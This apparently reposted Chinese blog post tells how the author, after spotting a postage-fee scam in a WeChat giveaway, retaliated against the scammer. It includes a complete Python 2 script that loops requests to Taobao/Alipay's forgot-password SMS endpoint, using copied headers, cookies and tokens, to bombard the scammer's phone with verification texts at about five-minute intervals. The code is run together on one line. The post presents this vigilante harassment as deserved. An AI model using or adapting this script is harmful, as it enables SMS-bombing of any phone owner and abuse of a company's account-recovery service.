我是如何惩罚骗子的

来源:互联网 发布:网络电视无信号 编辑:程序博客网 时间:2024/05/19 05:33

这是去年的事了。

偶然在朋友圈看到一条信息,说是分享点赞截图就送手机的。很可能是骗子。我就跟进了一下,果然是个骗子。骗邮费。如图


拿这个邮箱去各种社工库都找不到任何相关的信息,也没查到注册信息。应该是一个专门骗钱的小号。

最后想到在支付宝的登陆页面填写忘记密码,可以给手机发短信。于是就学了python,写了几句代码,达到了目的,由于接口限制,15分钟内只能发送三条短信,所以程序采用5分钟一个间隔发送。

效果如图:


返回json,success:true表示发送短信成功。

其实代码很简单:

import timeimport urllibimport urllib2import sysreload(sys)   sys.setdefaultencoding('utf8')data={'productType':'alipayPhone'}headers1= {"Host":"110.taobao.com","Connection":"keep-alive","Content-Length":"23","Accept":"application/json, text/javascript, */*; q=0.01","Origin":"http://110.taobao.com",'X-Requested-With':'XMLHttpRequest',"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36","Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",'Referer':'http://110.taobao.com/account/verify_user.htm?param=DB45DEFA6FC97CBD0C28&type=forgot_pwd',"Accept-Encoding":"deflate,sdch",'Accept-Language':"zh-CN,zh;q=0.8"};new_cookie='_umdata=66591A47F93756895BA495D5D7FD69ED883174A95618AEFD6388EED866F93D86614C1DB21B65628278C149980BFE3AE22FEFF2507951A3E8B467B6D724C206692FAE7129019D7B6A; mt=ci%3D-1_0; v=0; cna=vPXuDF1rkm0CAdxzFw3fTaDj; cookie2=1c0d417ddb358afabd54e87e95e0c2d3; t=162a7b84ba87b88e9aae2358d6857806; _tb_token_=1kL7szCvMqn; isg=7D301E21C2914503AE9BE25D6476A049'headers1['Cookie']=new_cookiedat=urllib.urlencode(data) #encodingwhile True:req =urllib2.Request('http://110.taobao.com/account/send_check_code.do?type=995848ADB4170952¶m=DB45DEFA6FC97CBD0C28&_tb_token_=1kL7szCvMqn',dat,headers1)#request and submit formresponse = urllib2.urlopen(req) #receive the responsehtml = response.read()#read the responsedecode_html=html.decode('gbk')print time.strftime("%c")+':'+(decode_html)time.sleep(302)


0 0
原创粉丝点击